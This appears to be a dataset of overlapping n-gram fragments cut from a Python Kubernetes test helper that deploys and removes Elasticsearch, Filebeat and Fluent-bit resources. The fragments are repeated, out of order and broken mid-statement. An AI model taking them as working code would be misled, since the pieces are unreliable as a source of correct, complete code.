ngram
listlengths
0
82k
[ "k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully deleted: {crb_name}\") except Exception as e: print(f\"\\n{shipper_name} cluster", "namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep, namespace=namespace)", "remove_clusterrole_binding(\"fluent-bit\", crb_name) def add_elastic_cluster(namespace): print(\"\\nDeploying ElasticSearch\\n\") add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR) def add_filebeat_cluster(namespace):", "dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep, namespace=namespace) print(\"\\nDone\\n\") def", "in dep_lst: print(f\"deleting {filename}\") with open(os.path.join(dir_path, filename)) as f: dep", "== 'StatefulSet': k8s_client = client.AppsV1Api() if not delete: k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace)", "print(\"\\nDone\\n\") def wait_for_namespaced_deletion(name, namespace, deletion_func, list_func, timeout=15): deleted = False", "client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name) elif dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name,", "dep_order.split(',')] print(dep_lst) phrases_to_replace = [\"(?<!_)NAMESPACE\", \"REP_ES_USER\", \"REP_ES_PASS\"] values_for_replacement = [namespace,", "[x.strip() for x in dep_order.split(',')] print(dep_lst) for filename in dep_lst:", "return client.AppsV1Api().read_namespaced_daemon_set_status else: raise ValueError(f\"resolve_read_status_func: {obj_name} is not a valid", ") print(f\"applying file: {filename}\") with open(modified_file_path) as f: dep =", "x in dep_order.split(',')] print(dep_lst) phrases_to_replace = [\"(?<!_)NAMESPACE\", \"REP_ES_USER\", \"REP_ES_PASS\"] values_for_replacement", "k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully deleted: {crb_name}\") except Exception", "def add_filebeat_cluster(namespace): print(\"\\nDeploying FileBeat\\n\") add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR) def add_fluent_bit_cluster(namespace): print(\"\\nDeploying Fluent-bit\\n\")", "here and in the kube object crb_name = f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\",", "role binding deletion has failed, please manually delete {crb_name}:\") print(f\"kubectl", "k8s_client = client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client", "# replace all phrases with the actual values if exists", "== 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep, namespace=namespace) elif dep[\"kind\"] ==", "filename in dep_lst: print(f\"deleting {filename}\") with open(os.path.join(dir_path, filename)) as f:", "= f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\", crb_name) def fluent_bit_teardown(namespace): # remove clusterrolebind #", "with open(os.path.join(dir_path, filename)) as f: dep = yaml.safe_load(f) name =", "{crb_name}\") except Exception as e: print(f\"\\n{shipper_name} cluster role binding deletion", "start = datetime.now() while True: read_func = resolve_read_status_func(obj_name) resp =", "= yaml.safe_load(f) if modified_file_path != os.path.join(dir_path, filename) and is_change: #", "continue raise e elif dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api()", "object crb_name = f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\", crb_name) def add_elastic_cluster(namespace): print(\"\\nDeploying ElasticSearch\\n\")", "all phrases with the actual values if exists modified_file_path, is_change", "kube object crb_name = f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\", crb_name) def add_elastic_cluster(namespace): print(\"\\nDeploying", "raise ValueError(f\"resolve_read_status_func: {obj_name} is not a valid value\") def wait_for_to_be_ready(obj_name,", "print(\"Total time waiting for {3} {0} [size: {1}]: {2} sec\".format(name,", "as f: dep_order = f.readline() dep_lst = [x.strip() for x", "def filebeat_teardown(namespace): # remove clusterrolebind # TODO: find a solution", "clusterrolebinding {crb_name}\") def filebeat_teardown(namespace): # remove clusterrolebind # TODO: find", "k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name,", "'Deployment': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep, namespace=namespace) elif dep['kind'] == 'Service':", "obj_name)) break print(\"{0}/{1} pods ready {2} sec \".format(number_ready, updated_number_scheduled, total_sleep_time),", "yaml.safe_load(f) name = dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client =", "namespace=namespace, grace_period_seconds=0) delete_func = k8s_client.delete_namespaced_service list_func = k8s_client.list_namespaced_service wait_for_namespaced_deletion(name, namespace,", "namespace=namespace) print(\"\\nDone\\n\") def wait_for_namespaced_deletion(name, namespace, deletion_func, list_func, timeout=15): deleted =", "== 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace) elif dep[\"kind\"] ==", "grace_period_seconds=0) delete_func = k8s_client.delete_namespaced_service list_func = k8s_client.list_namespaced_service wait_for_namespaced_deletion(name, namespace, delete_func,", "elif dep['kind'] == 'Service': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service(name=name, namespace=namespace, grace_period_seconds=0)", "== updated_number_scheduled: print(\"Total time waiting for {3} {0} [size: {1}]:", "resolve_read_status_func(obj_name): if obj_name == \"daemonset\": return client.AppsV1Api().read_namespaced_daemon_set_status else: raise ValueError(f\"resolve_read_status_func:", "dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service_account(name=name, namespace=namespace) print(\"\\nDone\\n\") def", "list_func(namespace).items: deleted = True if item.metadata.name == name: deleted =", "conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL] for filename in dep_lst: # replace all phrases", "ApiException as e: if e.status == 409: print(f\"Service exists: {dep['metadata']['name']}\")", "dep = yaml.safe_load(f) name = dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet':", "deletion has failed, please manually delete {crb_name}:\") print(f\"kubectl delete clusterrolebinding", "file: {filename}\") with open(modified_file_path) as f: dep = yaml.safe_load(f) if", "k8s_client.create_namespaced_config_map(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep,", "cluster role binding deletion has failed, please manually delete {crb_name}:\")", "== 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace) elif dep['kind'] ==", "deleted: {crb_name}\") except Exception as e: print(f\"\\n{shipper_name} cluster role binding", "dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api() if not", "{name} was not deleted, retrying\") time.sleep(1) timeout -= 1 #", "in list_func(namespace).items: deleted = True if item.metadata.name == name: deleted", "exists: {dep['metadata']['name']}\") continue raise e elif dep['kind'] == 'PodDisruptionBudget': k8s_client", "crb_name): # remove clusterrolebind k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully", "namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name, namespace=namespace)", "name: if timeout < 0: raise TimeoutError(f\"{orig_timeout} was not enough", "dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api() if not delete: k8s_client.create_namespaced_stateful_set(body=dep,", "if obj_name == \"daemonset\": return client.AppsV1Api().read_namespaced_daemon_set_status else: raise ValueError(f\"resolve_read_status_func: {obj_name}", "== 'StatefulSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] ==", "as conf import tests.utils as ut def remove_clusterrole_binding(shipper_name, crb_name): #", "datetime.now() while True: read_func = resolve_read_status_func(obj_name) resp = read_func(name=name, namespace=namespace)", "the kube object crb_name = f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\", crb_name) def fluent_bit_teardown(namespace):", "and updated_number_scheduled and number_ready == updated_number_scheduled: print(\"Total time waiting for", "find by name and delete requested item for item in", "= [\"(?<!_)NAMESPACE\", \"REP_ES_USER\", \"REP_ES_PASS\"] values_for_replacement = [namespace, conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL] for", "datetime from kubernetes import client from kubernetes.client.rest import ApiException import", "name, namespace, timeout=None): start = datetime.now() while True: read_func =", "deletion_func(name=name, namespace=namespace) print(f\"service {name} was not deleted, retrying\") time.sleep(1) timeout", "namespace, timeout=None): wait_for_to_be_ready(\"daemonset\", name, namespace, timeout=timeout) def resolve_read_status_func(obj_name): if obj_name", "for deleting item:\\n{item}\\n\") deletion_func(name=name, namespace=namespace) print(f\"service {name} was not deleted,", "e.status == 409: print(f\"Service exists: {dep['metadata']['name']}\") continue raise e elif", "for x in dep_order.split(',')] print(dep_lst) for filename in dep_lst: print(f\"deleting", "k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep,", "if dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif", "namespace, deletion_func, list_func, timeout=15): deleted = False orig_timeout = timeout", "was not deleted, retrying\") time.sleep(1) timeout -= 1 # validate", "except ApiException as e: if e.status == 409: print(f\"Service exists:", "k8s_client.delete_namespaced_service_account(name=name, namespace=namespace) print(\"\\nDone\\n\") def wait_for_namespaced_deletion(name, namespace, deletion_func, list_func, timeout=15): deleted", "raise e elif dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep,", "number_ready and updated_number_scheduled and number_ready == updated_number_scheduled: print(\"Total time waiting", "in dep_lst: # replace all phrases with the actual values", "409: print(f\"cluster role binding already exists\") continue raise e elif", "[x.strip() for x in dep_order.split(',')] print(dep_lst) phrases_to_replace = [\"(?<!_)NAMESPACE\", \"REP_ES_USER\",", "{2} sec\".format(name, number_ready, total_sleep_time, obj_name)) break print(\"{0}/{1} pods ready {2}", "print(f\"Service exists: {dep['metadata']['name']}\") continue raise e elif dep['kind'] == 'PodDisruptionBudget':", "== 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.create_cluster_role_binding(body=dep) except ApiException as", "= client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client =", "timeout=15): deleted = False orig_timeout = timeout while not deleted:", "e elif dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep, namespace=namespace)", "client.AppsV1Api() if not delete: k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace) else: k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif", "print(dep_lst) for filename in dep_lst: print(f\"deleting {filename}\") with open(os.path.join(dir_path, filename))", "'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.create_cluster_role_binding(body=dep) except ApiException as e:", "the kube object crb_name = f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\", crb_name) def add_elastic_cluster(namespace):", "and in the kube object crb_name = f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\", crb_name)", "# validate item was deleted for item in list_func(namespace).items: deleted", "find a solution for sharing the name both here and", "= yaml.safe_load(f) name = dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client", "resolve_read_status_func(obj_name) resp = read_func(name=name, namespace=namespace) total_sleep_time = (datetime.now()-start).total_seconds() number_ready =", "namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service_account(name=name, namespace=namespace)", "print(f\"kubectl delete clusterrolebinding {crb_name}\") def filebeat_teardown(namespace): # remove clusterrolebind #", "k8s_client.create_namespaced_service(body=dep, namespace=namespace) except ApiException as e: if e.status == 409:", "add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR) def add_filebeat_cluster(namespace): print(\"\\nDeploying FileBeat\\n\") add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR) def add_fluent_bit_cluster(namespace):", "'Service': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service(name=name, namespace=namespace, grace_period_seconds=0) delete_func = k8s_client.delete_namespaced_service", "k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client", "== name: deleted = False return deleted def wait_for_daemonset_to_be_ready(name, namespace,", "= f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\", crb_name) def add_elastic_cluster(namespace): print(\"\\nDeploying ElasticSearch\\n\") add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR)", "'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount':", "== 'Deployment': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep, namespace=namespace) elif dep['kind'] ==", "conf.ES_PASS_LOCAL] for filename in dep_lst: # replace all phrases with", "namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep, namespace=namespace)", "item for item in list_func(namespace).items: if item.metadata.name == name: if", "-= 1 # validate item was deleted for item in", "deleting item:\\n{item}\\n\") deletion_func(name=name, namespace=namespace) print(f\"service {name} was not deleted, retrying\")", "dep[\"kind\"] == 'ClusterRole': try: k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep) except ApiException", "elif dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace) elif", "break print(\"{0}/{1} pods ready {2} sec \".format(number_ready, updated_number_scheduled, total_sleep_time), end=\"\\r\")", "'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace) elif dep['kind'] == 'Deployment':", "sec\".format(name, number_ready, total_sleep_time, obj_name)) break print(\"{0}/{1} pods ready {2} sec", "# remove clusterrolebind # TODO: find a solution for sharing", "def wait_for_namespaced_deletion(name, namespace, deletion_func, list_func, timeout=15): deleted = False orig_timeout", "client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep) except ApiException as e: if e.status == 409:", "\".format(number_ready, updated_number_scheduled, total_sleep_time), end=\"\\r\") time.sleep(1) if timeout and total_sleep_time >", "continue raise e elif dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api()", "'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount':", "dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep, namespace=namespace) elif dep[\"kind\"]", "list_func) elif dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace)", "namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace)", "deleted, retrying\") time.sleep(1) timeout -= 1 # validate item was", "ApiException as e: if e.status == 409: print(f\"cluster role already", "= client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client =", "dep['kind'] == 'Service': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service(name=name, namespace=namespace, grace_period_seconds=0) delete_func", "{crb_name}\") def filebeat_teardown(namespace): # remove clusterrolebind # TODO: find a", "dep_lst: print(f\"deleting {filename}\") with open(os.path.join(dir_path, filename)) as f: dep =", "dep_lst = [x.strip() for x in dep_order.split(',')] print(dep_lst) phrases_to_replace =", "== 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep, namespace=namespace) elif dep[\"kind\"] ==", "= f.readline() dep_lst = [x.strip() for x in dep_order.split(',')] print(dep_lst)", "client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace) elif dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api()", "delete clusterrolebinding {crb_name}\") def filebeat_teardown(namespace): # remove clusterrolebind # TODO:", "client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api()", "namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.create_cluster_role_binding(body=dep)", "in the kube object crb_name = f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\", crb_name) def", "elif dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace) elif", "= client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep, namespace=namespace) print(\"\\nDone\\n\") def remove_deployment_dir(namespace, dir_path): with open(os.path.join(dir_path,", "else: raise ValueError(f\"resolve_read_status_func: {obj_name} is not a valid value\") def", "k8s_client.delete_namespaced_config_map(name=name, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service_account(name=name,", "client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api()", "time import yaml from tests import config as conf import", "= client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRole': try: k8s_client", "os import time import yaml from tests import config as", "timeout while not deleted: # find by name and delete", "delete=False): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order = f.readline() dep_lst", "namespace k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api()", "= ut.duplicate_file_and_replace_phrases( dir_path, filename, f\"{namespace}_{filename}\", phrases_to_replace, values_for_replacement ) print(f\"applying file:", "was not enough for deleting item:\\n{item}\\n\") deletion_func(name=name, namespace=namespace) print(f\"service {name}", "obj_name == \"daemonset\": return client.AppsV1Api().read_namespaced_daemon_set_status else: raise ValueError(f\"resolve_read_status_func: {obj_name} is", "= client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client =", "0: raise TimeoutError(f\"{orig_timeout} was not enough for deleting item:\\n{item}\\n\") deletion_func(name=name,", "= resp.status.updated_number_scheduled if number_ready and updated_number_scheduled and number_ready == updated_number_scheduled:", "is_change = ut.duplicate_file_and_replace_phrases( dir_path, filename, f\"{namespace}_{filename}\", phrases_to_replace, values_for_replacement ) print(f\"applying", "= dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name,", "elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.create_cluster_role_binding(body=dep) except", "exists\") continue raise e elif dep[\"kind\"] == 'RoleBinding': k8s_client =", "'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name, namespace=namespace) elif dep[\"kind\"] == 'RoleBinding':", "time waiting for {3} {0} [size: {1}]: {2} sec\".format(name, number_ready,", "wait_for_to_be_ready(obj_name, name, namespace, timeout=None): start = datetime.now() while True: read_func", "'Deployment': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name, namespace=namespace) elif dep['kind'] == 'Service':", "dir_path): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order = f.readline() dep_lst", "== 'Service': try: k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service(body=dep, namespace=namespace) except ApiException", "updated_number_scheduled and number_ready == updated_number_scheduled: print(\"Total time waiting for {3}", "= client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name, namespace=namespace) elif dep[\"kind\"] == 'RoleBinding': k8s_client =", "if e.status == 409: print(f\"Service exists: {dep['metadata']['name']}\") continue raise e", "deletion_func, list_func, timeout=15): deleted = False orig_timeout = timeout while", "sharing the name both here and in the kube object", "dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace)", "has failed, please manually delete {crb_name}:\") print(f\"kubectl delete clusterrolebinding {crb_name}\")", "namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name) elif", "== 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name, namespace=namespace) elif dep[\"kind\"] ==", "= client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client =", "dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep, namespace=namespace) elif dep[\"kind\"]", "while not deleted: # find by name and delete requested", "binding deletion has failed, please manually delete {crb_name}:\") print(f\"kubectl delete", "and is_change: # remove modified file ut.delete_file(modified_file_path) name = dep[\"metadata\"][\"name\"]", "crb_name = f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\", crb_name) def add_elastic_cluster(namespace): print(\"\\nDeploying ElasticSearch\\n\") add_deployment_dir(namespace,", "failed, please manually delete {crb_name}:\") print(f\"kubectl delete clusterrolebinding {crb_name}\") def", "e.status == 409: print(f\"cluster role already exists\") continue raise e", "remove clusterrolebind k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully deleted: {crb_name}\")", "'ClusterRole': try: k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep) except ApiException as e:", "return deleted def wait_for_daemonset_to_be_ready(name, namespace, timeout=None): wait_for_to_be_ready(\"daemonset\", name, namespace, timeout=timeout)", "number_ready, total_sleep_time, obj_name)) break print(\"{0}/{1} pods ready {2} sec \".format(number_ready,", "try: k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully deleted: {crb_name}\") except Exception as e: print(f\"\\n{shipper_name}", "def remove_clusterrole_binding(shipper_name, crb_name): # remove clusterrolebind k8s_client = client.RbacAuthorizationV1Api() try:", "not enough for deleting item:\\n{item}\\n\") deletion_func(name=name, namespace=namespace) print(f\"service {name} was", "retrying\") time.sleep(1) timeout -= 1 # validate item was deleted", "as e: if e.status == 409: print(f\"cluster role already exists\")", "open(os.path.join(dir_path, filename)) as f: dep = yaml.safe_load(f) name = dep[\"metadata\"][\"name\"]", "k8s_client.delete_namespaced_service list_func = k8s_client.list_namespaced_service wait_for_namespaced_deletion(name, namespace, delete_func, list_func) elif dep['kind']", "solution for sharing the name both here and in the", "# find by name and delete requested item for item", "as e: if e.status == 409: print(f\"Service exists: {dep['metadata']['name']}\") continue", "print(f\"cluster role binding already exists\") continue raise e elif dep[\"kind\"]", "orig_timeout = timeout while not deleted: # find by name", "f.readline() dep_lst = [x.strip() for x in dep_order.split(',')] print(dep_lst) for", "already exists\") continue raise e elif dep[\"kind\"] == 'ConfigMap': k8s_client", "= [namespace, conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL] for filename in dep_lst: # replace", "k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service(name=name, namespace=namespace, grace_period_seconds=0) delete_func = k8s_client.delete_namespaced_service list_func", "'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding':", "resp.status.number_ready updated_number_scheduled = resp.status.updated_number_scheduled if number_ready and updated_number_scheduled and number_ready", "filebeat_teardown(namespace): # remove clusterrolebind # TODO: find a solution for", "timeout=None): start = datetime.now() while True: read_func = resolve_read_status_func(obj_name) resp", "dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name, namespace=namespace) elif dep[\"kind\"]", "enough for deleting item:\\n{item}\\n\") deletion_func(name=name, namespace=namespace) print(f\"service {name} was not", "{filename}\") with open(os.path.join(dir_path, filename)) as f: dep = yaml.safe_load(f) name", "crb_name = f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\", crb_name) def fluent_bit_teardown(namespace): # remove clusterrolebind", "conf.ELASTIC_CONF_DIR) def add_filebeat_cluster(namespace): print(\"\\nDeploying FileBeat\\n\") add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR) def add_fluent_bit_cluster(namespace): print(\"\\nDeploying", "resp = read_func(name=name, namespace=namespace) total_sleep_time = (datetime.now()-start).total_seconds() number_ready = resp.status.number_ready", "client from kubernetes.client.rest import ApiException import os import time import", "k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client", "k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRole': try:", "add_elastic_cluster(namespace): print(\"\\nDeploying ElasticSearch\\n\") add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR) def add_filebeat_cluster(namespace): print(\"\\nDeploying FileBeat\\n\") add_deployment_dir(namespace,", "values_for_replacement = [namespace, conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL] for filename in dep_lst: #", "updated_number_scheduled: print(\"Total time waiting for {3} {0} [size: {1}]: {2}", "= client.AppsV1Api() if not delete: k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace) else: k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace)", "== 409: print(f\"Service exists: {dep['metadata']['name']}\") continue raise e elif dep['kind']", "e.status == 409: print(f\"cluster role binding already exists\") continue raise", "namespace, timeout=None): start = datetime.now() while True: read_func = resolve_read_status_func(obj_name)", "conf import tests.utils as ut def remove_clusterrole_binding(shipper_name, crb_name): # remove", "import config as conf import tests.utils as ut def remove_clusterrole_binding(shipper_name,", "dep_order = f.readline() dep_lst = [x.strip() for x in dep_order.split(',')]", "client.CoreV1Api() k8s_client.delete_namespaced_service(name=name, namespace=namespace, grace_period_seconds=0) delete_func = k8s_client.delete_namespaced_service list_func = k8s_client.list_namespaced_service", "conf.FILEBEAT_CONF_DIR) def add_fluent_bit_cluster(namespace): print(\"\\nDeploying Fluent-bit\\n\") add_deployment_dir(namespace, conf.FLUENT_BIT_CONF_DIR) def add_kibana_cluster(namespace): print(\"\\nDeploying", "k8s_client.delete_namespaced_deployment(name=name, namespace=namespace) elif dep['kind'] == 'Service': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service(name=name,", "== \"daemonset\": return client.AppsV1Api().read_namespaced_daemon_set_status else: raise ValueError(f\"resolve_read_status_func: {obj_name} is not", "from tests import config as conf import tests.utils as ut", "1 # validate item was deleted for item in list_func(namespace).items:", "namespace=namespace) total_sleep_time = (datetime.now()-start).total_seconds() number_ready = resp.status.number_ready updated_number_scheduled = resp.status.updated_number_scheduled", "namespace=namespace) elif dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep, namespace=namespace)", "k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name) elif dep[\"kind\"] == 'ConfigMap': k8s_client =", "client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name, namespace=namespace) elif dep['kind'] == 'Service': k8s_client = client.CoreV1Api()", "'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name) elif dep[\"kind\"] == 'ConfigMap': k8s_client", "[\"(?<!_)NAMESPACE\", \"REP_ES_USER\", \"REP_ES_PASS\"] values_for_replacement = [namespace, conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL] for filename", "'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace) elif dep[\"kind\"] == 'Role':", "def wait_for_to_be_ready(obj_name, name, namespace, timeout=None): start = datetime.now() while True:", "{filename}\") with open(modified_file_path) as f: dep = yaml.safe_load(f) if modified_file_path", "list_func, timeout=15): deleted = False orig_timeout = timeout while not", "def wait_for_daemonset_to_be_ready(name, namespace, timeout=None): wait_for_to_be_ready(\"daemonset\", name, namespace, timeout=timeout) def resolve_read_status_func(obj_name):", "f: dep_order = f.readline() dep_lst = [x.strip() for x in", "elif dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace) elif", "updated_number_scheduled = resp.status.updated_number_scheduled if number_ready and 